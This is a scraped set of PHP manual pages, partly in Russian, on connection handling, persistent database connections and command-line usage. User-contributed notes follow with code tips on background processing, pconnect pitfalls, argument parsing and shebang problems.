PHP changes directory on connection abort so code like this will not do what you want:

<?php
function abort()
{
     if(connection_aborted())
           unlink('file.ini');
}
register_shutdown_function('abort');
?>

actually it will delete file in apaches's root dir so if you want to unlink file in your script's dir on abort or write to it you have to store directory
<?php
function abort()
{
     global $dsd;
     if(connection_aborted())
           unlink($dsd.'/file.ini');
}
register_shutdown_function('abort');
$dsd=getcwd();
?>
tom lgold2003 at gmail dot com 09-Sep-2009 11:43
hey, thanks to arr1, and it is very useful for me, when I need to return to the user fast and then do something else.

When using the codes, it nearly drive me mad and I found another thing that may affect the codes:

Content-Encoding: gzip

This is because the zlib is on and the content will be compressed. But this will not output the buffer until all output is over.

So, it may need to send the header to prevent this problem.

now, the code becomes:

<?php
ob_end_clean();
header("Connection: close\r\n");
header("Content-Encoding: none\r\n");
ignore_user_abort(true); // optional
ob_start();
echo ('Text user will see');
$size = ob_get_length();
header("Content-Length: $size");
ob_end_flush();     // Strange behaviour, will not work
flush();            // Unless both are called !
ob_end_clean();

//do processing here
sleep(5);

echo('Text user will never see');
//do some processing
?>
Jean Charles MAMMANA 01-Apr-2008 01:25
connection_status() return ABORTED state ONLY if the client disconnects gracefully (with STOP button). In this case the browser send the RST TCP packet that notify PHP the connection is closed.
But.... If the connection is stopped by networs troubles (wifi link down by exemple) the script doesn't know that the client is disconnected :(

I've tried to use fopen("php://output") with stream_select() on writting to detect write locks (due to full buffer) but php give me this error : "cannot represent a stream of type Output as a select()able descriptor"

So I don't know how to detect correctly network trouble connection...
Anonymous 13-Nov-2007 02:06
in regards of posting from:
arr1 at hotmail dot co dot uk

if you use/write sessions you need to do this before:
(otherwise it does not work)

session_write_close();

and if wanted:

ignore_user_abort(TRUE);
instead of ignore_user_abort();
arr1 at hotmail dot co dot uk 14-Nov-2006 11:51
Closing the users browser connection whilst keeping your php script running has been an issue since 4.1, when the behaviour of register_shutdown_function() was modified so that it would not automatically close the users connection.

sts at mail dot xubion dot hu
Posted the original solution:

<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

Which works fine until you substitute phpinfo() for
echo ('text I want user to see'); in which case the headers are never sent!

The solution is to explicitly turn off output buffering and clear the buffer prior to sending your header information.

example:

<?php
 ob_end_clean();
 header("Connection: close");
 ignore_user_abort(); // optional
 ob_start();
 echo ('Text the user will see');
 $size = ob_get_length();
 header("Content-Length: $size");
 ob_end_flush(); // Strange behaviour, will not work
 flush();            // Unless both are called !
 // Do processing here
 sleep(30);
 echo('Text user will never see');
?>
Just spent 3 hours trying to figure this one out, hope it helps someone :)

Tested in:
IE 7.5730.11
Mozilla Firefox 1.81
Lee 18-Sep-2004 03:16
The point mentioned in the last comment isn't always the case.

If a user's connection is lost half way through an order processing script is confirming a user's credit card/adding them to a DB, etc (due to their ISP going down, network trouble... whatever) and your script tries to send back output (such as, "pre-processing order" or any other type of confirmation), then your script will abort -- and this could cause problems for your process.

I have an order script that adds data to a InnoDB database (through MySQL) and only commits the transactions upon successful completion. Without ignore_user_abort(), I have had times when a user's connection dropped during the processing phase... and their card was charged, but they weren't added to my local DB.

So, it's always safe to ignore any aborts if you are processing sensitive transactions that should go ahead, whether your user is "watching" on the other end or not.
pulstar at mail dot com 06-Aug-2003 11:32
These functions are very useful for example if you need to control when a visitor in your website place an order and you need to check if he/she didn't clicked the submit button twice or cancelled the submit just after have clicked the submit button.
If your visitor click the stop button just after have submitted it, your script may stop in the middle of the process of registering the products and do not finish the list, generating inconsistency in your database.
With the ignore_user_abort() function you can make your script finish everything fine and after you can check with register_shutdown_function() and connection_aborted() if the visitor cancelled the submission or lost his/her connection. If he/she did, you can set the order as not confirmed and when the visitor came back, you can present the old order again.
To prevent a double click of the submit button, you can disable it with javascript or in your script you can set a flag for that order, which will be recorded into the database. Before accept a new submission, the script will check if the same order was not placed before and reject it. This will work fine, as the script have finished the job before.
Note that if you use ob_start("callback_function") in the begin of your script, you can specify a callback function that will act like the shutdown function when our script ends and also will let you to work on the generated page before send it to the visitor.


Постоянные соединения с базами данных

Постоянные соединения представляют собой связи с базами данных, которые не закрываются при завершении скрипта. При получении запроса на постоянное соединение PHP вначале проверяет, имеется ли идентичное постоянное соединение (которое было открыто при предыдущих обращениях) и, если таковое было найдено, использует его. В случае, если идентичного соединения нет, PHP создаёт новое. Под "идентичным" подразумевается соединение, открытое на том же хосте с таким же именем пользователя и паролем (если они указаны).

Та часть разработчиков, которая не имеет чёткого представления о том, как работает веб-сервер и как распределяется нагрузка, могут получить ошибочное представление о том, чем на самом деле являются постоянные соединения. В частности, постоянные соединения не предоставляют возможность открывать 'пользовательские сессии' в том же самом соединении, они не предоставляют возможность организовывать более эффективные транзакции, также они не предоставляют множества других полезных возможностей. Фактически, постоянные соединения не предоставляют никакой функциональности, которая была бы невозможна в непостоянных аналогичных соединениях.

Почему?

Это зависит от того, как происходит взаимодействие с веб-сервером. Существует три основных способа использования PHP сервером для генерации веб-страниц.

Первый способ заключается в том, чтобы использовать PHP как CGI-обёртку. При этом PHP-интерпретатор создаётся и уничтожается при каждом обращении к странице (PHP-скрипту). Поскольку интерпретатор уничтожается после каждого запроса к серверу, все используемые им ресурсы (в том числе и соединение с базой данных) закрываются. Следовательно, в этом случае вы не получите ничего от использования постоянных соединений - их просто нет.

Второй, и наиболее популярный способ - использовать PHP как модуль в сервере, который использует несколько процессов. В число таких серверов сейчас входит только Apache. В таком случае, можно выделить один процесс (родительский), который координирует работу всех остальных процессов (дочерних), которые фактически и выполняют работу по обслуживанию веб-страниц. При каждом обращении клиента к серверу запрос перенаправляется одному из дочерних процессов, который в данный момент не занят обслуживанием другого клиента. Это означает, что когда тот же самый клиент выполняет повторный запрос к серверу, он может быть обработан другим дочерним процессом, отличным от того, который был при первом обращении. После открытия постоянного соединения каждая последующая страница, требующая соединения с базой данных, может использовать уже установленное ранее соединение с SQL-сервером.

Третий способ - использовать PHP в качестве плагина в многопоточном веб-сервере. В настоящее время в PHP реализована поддержка ISAPI, WSAPI, и NSAPI (для Windows-платформ), которые позволяют подключать PHP к таким многопоточным серверам, как Netscape FastTrack (iPlanet), Microsoft's Internet Information Server (IIS) и O'Reilly WebSite Pro. В этом случае поведение PHP полностью аналогично рассмотренной ранее модели с использованием нескольких процессов.

Если постоянные соединения не предоставляют никакой дополнительной функциональности, чем же они тогда так хороши?

Ответ содержится в повышении эффективности. Постоянные соединения полезны в том случае, если при открытии большого количества SQL-соединений возникает ощутимая нагрузка на сервер. То, насколько велика эта нагрузка, зависит от многих факторов. Например, от того, какая именно база данных используется, находится ли она на том же компьютере что и ваш веб-сервер, насколько загружена машина, на которой установлен SQL-сервер, и так далее. В случае, если затраты на установку соединения велики, постоянные соединения могут вам существенно помочь. Они позволяют дочернему процессу на протяжении всего жизненного цикла использовать одно и то же соединение вместо того, чтобы создавать его при обработке каждой страницы, которая взаимодействует с SQL-сервером. Это означает, что каждый дочерний процесс, открывший постоянное соединение, будет иметь своё собственное соединение с сервером. Например, если у вас запущено 20 дочерних процессов, которые выполнили скрипт, использовавший постоянное соединение с SQL-сервером, вы получите 20 различных соединений с SQL-сервером, по одному на каждый дочерний процесс.

Следует заметить, что этот подход имеет некоторые недостатки: если вы используете базу данных с ограниченным количеством возможных подключений, оно может быть превышено количеством запрашиваемых дочерними процессами постоянных соединений. Например, если ваша база данных позволяет 16 одновременных соединений, и во время нагрузки на сервер 17 дочерних процессов попробуют открыть соединение, одна из попыток потерпит неудачу. Если в вашем коде содержатся ошибки, не позволяющие закрывать соединение (например, бесконечные циклы), база данных с 32 одновременными подключениями вскоре может оказаться заблокированной. Информацию о том, как обрабатывать открытые и неиспользуемые соединения, вы можете найти в документации к вашей базе данных.

Внимание

Есть ещё два дополнительных предостережения, которые следует помнить при работе с постоянными соединениями. В случае, если скрипт блокирует таблицу и по каким-либо причинам не может её освободить, при использовании постоянного соединения все последующие скрипты, которые используют это соединение будут блокированы бесконечно долго и могут потребовать рестарта веб-сервера или сервера баз данных. Второе предостережение заключается в том, что открытые транзакции, если они не были закрыты до завершения работы скрипта, будут продолжены в следующем скрипте, использующем это же постоянное соединение. Исходя из этого, вы можете использовать функцию register_shutdown_function() для указания простой функции, которая снимает блокировку таблиц или отката ваших транзакций. Ещё лучше избежать этих проблем полностью, не используя постоянные соединения в скриптах, которые используют блокировку таблиц или транзакции (при этом вы всё ещё можете использовать их где-то в другом месте).

Важное резюме. Постоянные соединения были созданы для точного отображения обыкновенных соединений. Это означает, что у вас всегда есть возможность заменить все постоянные соединения непостоянными, и это никак не отразится на поведении скрипта. Такая замена может повлиять (и, наверное, повлияет) на эффективность работы скрипта, но никак не на его поведение.

Смотрите также ibase_pconnect(), ociplogon(),
odbc_pconnect(), oci_pconnect(),
pfsockopen() и pg_pconnect().

User Contributed Notes

pacerier at gmail dot com 24-Jun-2015 09:57
Did anyone else notice that the last paragraph contradicts everything above it?

( cached page: https://archive.is/ZAOwy )
php at alfadog dot net 22-Jan-2014 04:07
One additional not regarding odbc_pconnect  and possibly other variations of pconnect:

If the connection encounters an error (bad SQL, incorrect request, etc), that error will return with  be present in odbc_errormsg for every subsequent action on that connection, even if subsequent actions don't cause another error.

For example:

A script connects with odbc_pconnect.
The connection is created on it's first use.
The script calls a query "Select * FROM Table1".
Table1 doesn't exist and odbc_errormsg contains that error.

Later(days, perhaps), a different script is called using the same parameters to odbc_pconnect.
The connection already exists, to it is reused.
The script calls a query "Select * FROM Table0".
The query runs fine, but odbc_errormsg still returns the error about Table1 not existing.

I'm not seeing a way to clear that error using odbc_ functions, so keep your eyes open for this gotcha or use odbc_connect instead.
ambrish at php dot net 20-Sep-2010 01:37
In IBM_DB2 extension v1.9.0 or later performs a transaction rollback on persistent connections at the end of a request, thus ending the transaction. This prevents the transaction block from carrying over to the next request which uses that connection if script execution ends before the transaction block does.
Tom 28-Dec-2009 05:37
There's a third case for PHP: run on a fastCGI interface. In this case, PHP processes are NOT destroyed after each request, and so persistent connections do persist. Set PHP_FCGI_CHILDREN << mysql's max_connections and you'll be fine.
ynzhang from lakeheadu canada 09-Mar-2009 10:49
It seems that using pg_pconnect() will not persist the temporary views/tables. So if you are trying to create temporary views/tables with the query results and then access them with the next script of the same session, you are out of luck. Those temporary view/tables are gone after each PHP script ended. One way to get around this problem is to create real view/table with session ID as part of the name and record the name&creation time in a common table. Have a garbage collection script to drop the view/table who's session is expired.
christopher dot jones at oracle dot com 26-Jun-2007 10:46
For the oci8 extension it is not true that " [...] when using transactions, a transaction block will also carry over to the next script which uses that connection if script execution ends before the transaction block does.".  The oci8 extension does a rollback at the end scripts using persistent connections, thus ending the transaction.  The rollback also releases locks. However any ALTER SESSION command (e.g. changing the date format) on a persistent connection will be retained over to the next script.
andy at paradigm-reborn dot com 20-Feb-2007 08:13
To those using MySQL and finding a lot of leftover sleeping processes, take a look at MySQL's wait_timeout directive. By default it is set to 8 hours, but almost any decent production server will have been lowered to the 60 second range. Even on my testing server, I was having problems with too many connections from leftover persistent connections.
whatspaz at g NO dot SPAM mail dot c o m 26-Nov-2006 03:02
in response to web at nick, have you tried FLUSH PRIVILEGES. this should reload those privileges.
RQuadling at GMail dot com 06-Mar-2006 03:43
If you have multiple databases on the same server AND you are using persistent connections, you MUST prefix all the table names with the specific database name.

Changing the database using the xxx_select_db functions alters the database for the connection for all users who are sharing that connection (assuming PHP is running shared and not CGI/CLI).

If you have 2 databases (live and archive) and your script is talking to both, you cannot use 2 persistent connections and change the database for each one.

Internally, persistent connections are used even if you do not specify that you want to use persistent connections. This is why new_link was added to mysql_connect/mssql_connect (PHPV4.2.0+).
fabio 12-Jan-2006 03:54
You can in fact provide a port for the connection, take a look at http://de2.php.net/manual/en/function.mysql-pconnect.php#AEN101879

Just use "hostname:port" for the server address.
aaryal at foresightint dot com 15-Jan-2004 03:21
this one bit quite a bit of chunk out of my you-know-what. seems like if you're running multiple database servers on the same host (for eg. MySQL on a number of ports) you can't use pconnect since the port number isn't part of the key for database connections. especially if you have the same username and password to connect to all the database servers running on different ports. but then it might be php-MySQL specific. you might get a connection for an entirely different port than the one you asked for.
jean_christian at myrealbox dot com 15-Aug-2002 03:13
If anyone ever wonders why the number of idle db process (open connections) seems to grow even though you are using persistent connections, here's why:

"You are probably using a multi-process web server such as Apache. Since
database connections cannot be shared among different processes a new
one is created if the request happen to come to a different web server
child process."


Использование PHP в командной строке

Содержание

  • Введение
  • Основные отличия от остальных реализаций SAPI
  • Опции
  • Использование
  • Потоки ввода/вывода
  • Интерактивная консоль
  • Встроенный веб-сервер
  • Опции конфигурации

User Contributed Notes

Anonymous 24-Mar-2021 12:49
We can pass many arguments directly into the hashbang line.
As example many ini setting via the -d parameter of php.
---
#!/usr/bin/php -d memory_limit=2048M -d post_max_size=0
phpinfo();
exit;
---
./script | grep memory
memory_limit => 2048M => 2048M
---
But we can also use this behaviour into a second script, so it call the first as an interpreter, via the hashbang:
---
#!./script arg1 arg2 arg3
---
However the parameters are dispatched in a different way into $argv

All the parameters are in $argv[1], $argv[0] is the interpreter script name, and $argv[1] is the caller script name.

To get back the parameters into $argv, we can simply test if $argv[1] contains spaces, and then dispatch again as normal:

#!/usr/bin/php -d memory_limit=2048M -d post_max_size=0
<?php
var_dump($argv);
if (strpos($argv[1], ' ') !== false){
  $argw = explode(" ", $argv[1]);
  array_unshift($argw, $argv[2]);
  $argv = $argw;
}
var_dump($argv); ?>
---
array(3) {
  [0]=>
  string(8) "./script"
  [1]=>
  string(15) "arg1 arg2 arg3 "
  [2]=>
  string(14) "./other_script"
}
array(4) {
  [0]=>
  string(8) "./other_script"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}
---
This will maintain the same behaviour in all cases and allow to even double click a script to call both parameters of another script, and even make a full interpreter language layer.  The other script doesn't has to be php. Take care of paths.
sam marshall 12-Feb-2019 04:13
When using the -R flag, the name of the variable containing the content of the current line (not including the LF) is $argn.

For example you can do this code:

cat file.txt | php -R 'echo $argn . "\n";'

This will just output each line of the input file without doing anything to it.
apmuthu at usa dot net 26-Nov-2017 05:17
Adding a pause() function to PHP waiting for any user input returning it:

<?php
function pause() {
    $handle = fopen ("php://stdin","r");
    do { $line = fgets($handle); } while ($line == '');
    fclose($handle);
    return $line;
}
?>
ohcc at 163 dot com 17-Sep-2016 06:26
use " instead of ' on windows when using the cli version with -r

php -r "echo 1"
-- correct

php -r 'echo 1'
  PHP Parse error:  syntax error, unexpected ''echo' (T_ENCAPSED_AND_WHITESPACE), expecting end of file in Command line code on line 1
frankNospamwanted at. toppoint dot. de 30-Oct-2014 03:37
Parsing commandline argument GET String without changing the PHP script (linux shell):
URL: index.php?a=1&b=2
Result: output.html

echo "" | php -R 'include("index.php");' -B 'parse_str($argv[1], $_GET);' 'a=1&b=2' >output.html

(no need to change php.ini)

You can put this
  echo "" | php -R 'include("'$1'");' -B 'parse_str($argv[1], $_GET);' "$2"
in a bash script "php_get" to use it like this:
  php_get index.php 'a=1&b=2' >output.html
or directed to text browser...
  php_get index.php 'a=1&b=2' |w3m -T text/html
PSIKYO at mail dot dlut dot edu dot cn 14-Sep-2013 03:19
If you edit a php file in windows, upload and run it on linux with command line method. You may encounter a running problem probably like that:

[root@ItsCloud02 wsdl]# ./lnxcli.php
Extension './lnxcli.php' not present.

Or you may encounter some other strange problem.
Care the enter key. In windows environment, enter key generate two binary characters '0D0A'. But in Linux, enter key generate just only a 'OA'.
I wish it can help someone if you are using windows to code php and run it as a command line program on linux.
sep16 at psu dot edu 01-Jun-2012 01:17
You can easily parse command line arguments into the $_GET variable by using the parse_str() function.

<?php

parse_str(implode('&', array_slice($argv, 1)), $_GET);

?>

It behaves exactly like you'd expect with cgi-php.

$ php -f somefile.php a=1 b[]=2 b[]=3

This will set $_GET['a'] to '1' and $_GET['b'] to array('2', '3').

Even better, instead of putting that line in every file, take advantage of PHP's auto_prepend_file directive.  Put that line in its own file and set the auto_prepend_file directive in your cli-specific php.ini like so:

auto_prepend_file = "/etc/php/cli-php5.3/local.prepend.php"

It will be automatically prepended to any PHP file run from the command line.
Kodeart 29-Aug-2011 02:03
Check directly without calling functions:
<?php
if (PHP_SAPI === 'cli')
{
   // ...
}
?>

You can define a constant to use it elsewhere
<?php
define('ISCLI', PHP_SAPI === 'cli');
?>
Anonymous 28-Jun-2010 07:41
Using CLI (on WIN at least), some INI paths are relative to the current working directory.  For example, if your error_log = "php_errors.log", then php_errors.log will be created (or appended to if already exists) in whatever directory you happen to be in at the moment if you have write access there.  Instead of having random error logs all over the place because of this behavior, you may want to set error_log to a full path, perhaps to the php.exe directory.
notreallyanaddress at somerandomaddr dot com 02-Dec-2009 05:34
If you want to be interactive with the user and accept user input, all you need to do is read from stdin.

<?php
echo "Are you sure you want to do this?  Type 'yes' to continue: ";
$handle = fopen ("php://stdin","r");
$line = fgets($handle);
if(trim($line) != 'yes'){
    echo "ABORTING!\n";
    exit;
}
echo "\n";
echo "Thank you, continuing...\n";
?>
thomas dot harding at laposte dot net 14-Jun-2008 03:08
Parsing command line: optimization is evil!

One thing all contributors on this page forgotten is that you can suround an argv with single or double quotes. So the join coupled together with the preg_match_all will always break that :)

Here is a proposal:

#!/usr/bin/php
<?php
print_r(arguments($argv));

function arguments ( $args )
{
  array_shift( $args );
  $endofoptions = false;

  $ret = array
    (
    'commands' => array(),
    'options' => array(),
    'flags'    => array(),
    'arguments' => array(),
    );

  while ( $arg = array_shift($args) )
  {

    // if we have reached end of options,
    //we cast all remaining argvs as arguments
    if ($endofoptions)
    {
      $ret['arguments'][] = $arg;
      continue;
    }

    // Is it a command? (prefixed with --)
    if ( substr( $arg, 0, 2 ) === '--' )
    {

      // is it the end of options flag?
      if (!isset ($arg[3]))
      {
        $endofoptions = true;; // end of options;
        continue;
      }

      $value = "";
      $com   = substr( $arg, 2 );

      // is it the syntax '--option=argument'?
      if (strpos($com,'='))
        list($com,$value) = split("=",$com,2);

      // is the option not followed by another option but by arguments
      elseif (strpos($args[0],'-') !== 0)
      {
        while (strpos($args[0],'-') !== 0)
          $value .= array_shift($args).' ';
        $value = rtrim($value,' ');
      }

      $ret['options'][$com] = !empty($value) ? $value : true;
      continue;

    }

    // Is it a flag or a serial of flags? (prefixed with -)
    if ( substr( $arg, 0, 1 ) === '-' )
    {
      for ($i = 1; isset($arg[$i]) ; $i++)
        $ret['flags'][] = $arg[$i];
      continue;
    }

    // finally, it is not option, nor flag, nor argument
    $ret['commands'][] = $arg;
    continue;
  }

  if (!count($ret['options']) && !count($ret['flags']))
  {
    $ret['arguments'] = array_merge($ret['commands'], $ret['arguments']);
    $ret['commands'] = array();
  }
return $ret;
}

exit (0)

/* vim: set expandtab tabstop=2 shiftwidth=2: */
?>
james_s2010 at NOSPAM dot hotmail dot com 22-Oct-2007 02:11
I was looking for a way to interactively get a single character response from user. Using STDIN with fread, fgets and such will only work after pressing enter. So I came up with this instead:

#!/usr/bin/php -q
<?php
function inKey($vals) {
    $inKey = "";
    While(!in_array($inKey,$vals)) {
        $inKey = trim(`read -s -n1 valu;echo \$valu`);
    }
    return $inKey;
}
function echoAT($Row,$Col,$prompt="") {
    // Display prompt at specific screen coords
    echo "\033[".$Row.";".$Col."H".$prompt;
}
    // Display prompt at position 10,10
    echoAT(10,10,"Opt : ");

    // Define acceptable responses
    $options = array("1","2","3","4","X");

    // Get user response
    $key = inKey($options);

    // Display user response & exit
    echoAT(12,10,"Pressed : $key\n");
?>

Hope this helps someone.
losbrutos at free dot fr 27-Sep-2007 05:54
an another "another variant" :

<?php
function arguments($argv)
{
  $_ARG = array();
  foreach ($argv as $arg)
  {
    if (preg_match('#^-{1,2}([a-zA-Z0-9]*)=?(.*)$#', $arg, $matches))
    {
      $key = $matches[1];
      switch ($matches[2])
      {
        case '':
        case 'true':
          $arg = true;
          break;
        case 'false':
          $arg = false;
          break;
        default:
          $arg = $matches[2];
      }
      $_ARG[$key] = $arg;
    }
    else
    {
      $_ARG['input'][] = $arg;
    }
  }
  return $_ARG;
}
?>

$php myscript.php arg1 -arg2=val2 --arg3=arg3 -arg4 --arg5 -arg6=false

Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => arg1
        )

    [arg2] => val2
    [arg3] => arg3
    [arg4] => true
    [arg5] => true
    [arg5] => false
)
lucas dot vasconcelos at gmail dot com 22-Jul-2007 11:04
Just another variant of previous script that group arguments doesn't starts with '-' or '--'

<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('^-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
      } else {
            $_ARG['input'][]=$arg;
      }
    }
  return $_ARG;
}

print_r(arguments($argv));
?>

$ php myscript.php --user=nobody /etc/apache2/*
Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => /etc/apache2/apache2.conf
            [2] => /etc/apache2/conf.d
            [3] => /etc/apache2/envvars
            [4] => /etc/apache2/httpd.conf
            [5] => /etc/apache2/mods-available
            [6] => /etc/apache2/mods-enabled
            [7] => /etc/apache2/ports.conf
            [8] => /etc/apache2/sites-available
            [9] => /etc/apache2/sites-enabled
        )

    [user] => nobody
)
bluej100@gmail 25-Jun-2007 11:02
In 5.1.2 (and others, I assume), the -f form silently drops the first argument after the script name from $_SERVER['argv']. I'd suggest avoiding it unless you need it for a special case.
eric dot brison at anakeen dot com 04-Jun-2007 05:16
Just a variant of previous script to accept arguments with '=' also
<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
        }

    }
  return $_ARG;
}
?>
$ php myscript.php --user=nobody --password=secret -p --access="host=127.0.0.1 port=456"
Array
(
    [user] => nobody
    [password] => secret
    [p] => true
    [access] => host=127.0.0.1 port=456
)
rob 23-Mar-2007 11:48
i use emacs in c-mode for editing.  in 4.3, starting a cli script like so:

#!/usr/bin/php -q /* -*- c -*- */
<?php

told emacs to drop into c-mode automatically when i loaded the file for editing.  the '-q' flag didn't actually do anything (in the older cgi versions, it suppressed html output when the script was run) but it caused the commented mode line to be ignored by php.

in 5.2, '-q' has apparently been deprecated.  replace it with '--' to achieve the 4.3 invocation-with-emacs-mode-line behavior:

#!/usr/bin/php -- /* -*- c -*- */
<?php

don't go back to your 4.3 system and replace '-q' with '--'; it seems to cause php to hang waiting on STDIN...
djcassis at gmail 09-Mar-2007 07:14
To display colored text when it is actually supported :
<?php
echo "\033[31m".$myvar; // red foreground
echo "\033[41m".$myvar; // red background
?>

To reset these settings :
<?php
echo "\033[0m";
?>

More fun :
<?php
echo "\033[5;30m;\033[48mWARNING !"; // black blinking text over red background
?>

More info here : http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html
goalain eat gmail dont com 14-Nov-2006 12:57
If your php script doesn't run with shebang (#!/usr/bin/php),
and it issues the beautifull and informative error message:
"Command not found."  just dos2unix yourscript.php
et voila.

If you still get the "Command not found."
Just try to run it as ./myscript.php , with the "./"
if it works - it means your current directory is not in the executable search path.

If your php script doesn't run with shebang (#/usr/bin/php),
and it issues the beautifull and informative message:
"Invalid null command." it's probably because the "!" is missing in the the shebang line (like what's above) or something else in that area.

\Alon
stromdotcom at hotmail dot com 21-Feb-2006 10:27
Spawning php-win.exe as a child process to handle scripting in Windows applications has a few quirks (all having to do with pipes between Windows apps and console apps).

To do this in C++:

// We will run php.exe as a child process after creating
// two pipes and attaching them to stdin and stdout
// of the child process
// Define sa struct such that child inherits our handles

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

// Create the handles for our two pipes (two handles per pipe, one for each end)
// We will have one pipe for stdin, and one for stdout, each with a READ and WRITE end
HANDLE hStdoutRd, hStdoutWr, hStdinRd, hStdinWr;

// Now create the pipes, and make them inheritable
CreatePipe (&hStdoutRd, &hStdoutWr, &sa, 0))
SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0);
CreatePipe (&hStdinRd, &hStdinWr, &sa, 0)
SetHandleInformation(hStdinWr, HANDLE_FLAG_INHERIT, 0);

// Now we have two pipes, we can create the process
// First, fill out the usage structs
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = hStdoutWr;
si.hStdInput  = hStdinRd;

// And finally, create the process
CreateProcess (NULL, "c:\\php\\php-win.exe", NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

// Close the handles we aren't using
CloseHandle(hStdoutWr);
CloseHandle(hStdinRd);

// Now that we have the process running, we can start pushing PHP at it
WriteFile(hStdinWr, "<?php echo 'test'; ?>", 9, &dwWritten, NULL);

// When we're done writing to stdin, we close that pipe
CloseHandle(hStdinWr);

// Reading from stdout is only slightly more complicated
int i;

std::string processed("");
char buf[128];

while ( (ReadFile(hStdoutRd, buf, 128, &dwRead, NULL) && (dwRead != 0)) ) {
    for (i = 0; i < dwRead; i++)
        processed += buf[i];
}

// Done reading, so close this handle too
CloseHandle(hStdoutRd);

A full implementation (implemented as a C++ class) is available at http://www.stromcode.com
drewish at katherinehouse dot com 25-Sep-2005 12:08
When you're writing one line php scripts remember that 'php://stdin' is your friend. Here's a simple program I use to format PHP code for inclusion on my blog:

UNIX:
  cat test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"

DOS/Windows:
  type test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"
OverFlow636 at gmail dot com 19-Sep-2005 12:27
I needed this, you proly wont tho.
puts the exicution args into $_GET
<?php
if ($argv) {
    foreach ($argv as $k=>$v)
    {
        if ($k==0) continue;
        $it = explode("=",$argv[$i]);
        if (isset($it[1])) $_GET[$it[0]] = $it[1];
    }
}
?>
docey 14-Jul-2005 05:44
dunno if this is on linux the same but on windows evertime
you send somthing to the console screen php is waiting for
the console to return. therefor if you send a lot of small
short amounts of text, the console is starting to be using
more cpu-cycles then php and thus slowing the script.

take a look at this sheme:
cpu-cycle:1 ->php: print("a");
cpu-cycle:2 ->cmd: output("a");
cpu-cycle:3 ->php: print("b");
cpu-cycle:4 ->cmd: output("b");
cpu-cycle:5 ->php: print("c");
cpu-cycle:6 ->cmd: output("c");
cpu-cylce:7 ->php: print("d");
cpu-cycle:8 ->cmd: output("d");
cpu-cylce:9 ->php: print("e");
cpu-cycle:0 ->cmd: output("e");

on the screen just appears "abcde". but if you write
your script this way it will be far more faster:
cpu-cycle:1 ->php: ob_start();
cpu-cycle:2 ->php: print("abc");
cpu-cycle:3 ->php: print("de");
cpu-cycle:4 ->php: $data = ob_get_contents();
cpu-cycle:5 ->php: ob_end_clean();
cpu-cycle:6 ->php: print($data);
cpu-cycle:7 ->cmd: output("abcde");

now this is just a small example but if you are writing an
app that is outputting a lot to the console, i.e. a text
based screen with frequent updates, then its much better
to first cach all output, and output is as one big chunk of
text instead of one char a the time.

ouput buffering is ideal for this. in my script i outputted
almost 4000chars of info and just by caching it first, it
speeded up by almost 400% and dropped cpu-usage.

because what is being displayed doesn't matter, be it 2
chars or 40.0000 chars, just the call to output takes a
great deal of time. remeber that.

maybe someone can test if this is the same on unix-based
systems. it seems that the STDOUT stream just waits for
the console to report ready, before continueing execution.
roberto dot dimas at gmail dot com 26-May-2005 01:52
One of the things I like about perl and vbscripts, is the fact that I can name a file e.g. 'test.pl' and just have to type 'test, without the .pl extension' on the windows command line and the command processor knows that it is a perl file and executes it using the perl command interpreter.

I did the same with the file extension .php3 (I will use php3 exclusivelly for command line php scripts, I'm doing this because my text editor VIM 6.3 already has the correct syntax highlighting for .php3 files ).

I modified the PATHEXT environment variable in Windows XP, from the " 'system' control panel applet->'Advanced' tab->'Environment Variables' button-> 'System variables' text area".

Then from control panel "Folder Options" applet-> 'File Types' tab, I added a new file extention (php3), using the button 'New'  and typing php3 in the window that pops up.

Then in the 'Details for php3 extention' area I used the 'Change' button to look for the Php.exe executable so that the php3 file extentions are associated with the php executable.

You have to modify also the 'PATH' environment variable, pointing to the folder where the php executable is installed

Hope this is useful to somebody
obfuscated at emailaddress dot com 25-Feb-2005 08:15
This posting is not a php-only problem, but hopefully will save someone a few hours of headaches.  Running on MacOS (although this could happen on any *nix I suppose), I was unable to get the script to execute without specifically envoking php from the command line:

[macg4:valencia/jobs] tim% test.php
./test.php: Command not found.

However, it worked just fine when php was envoked on the command line:

[macg4:valencia/jobs] tim% php test.php
Well, here we are...  Now what?

Was file access mode set for executable?  Yup.

[macg4:valencia/jobs] tim% ls -l
total 16
-rwxr-xr-x  1 tim  staff   242 Feb 24 17:23 test.php

And you did, of course, remember to add the php command as the first line of your script, yeah?  Of course.

#!/usr/bin/php
<?php print "Well, here we are...  Now what?\n"; ?>

So why dudn't it work?  Well, like I said... on a Mac.... but I also occasionally edit the files on my Windows portable (i.e. when I'm travelling and don't have my trusty Mac available)...  Using, say, WordPad on Windows... and BBEdit on the Mac...

Aaahhh... in BBEdit check how the file is being saved!  Mac?  Unix?  or Dos?  Bingo.  It had been saved as Dos format.  Change it to Unix:

[macg4:valencia/jobs] tim% ./test.php
Well, here we are...  Now what?
[macg4:valencia/jobs] tim%

NB: If you're editing your php files on multiple platforms (i.e. Windows and Linux), make sure you double check the files are saved in a Unix format...  those \r's and \n's 'll bite cha!
linn at backendmedia dot com 06-Feb-2004 06:12
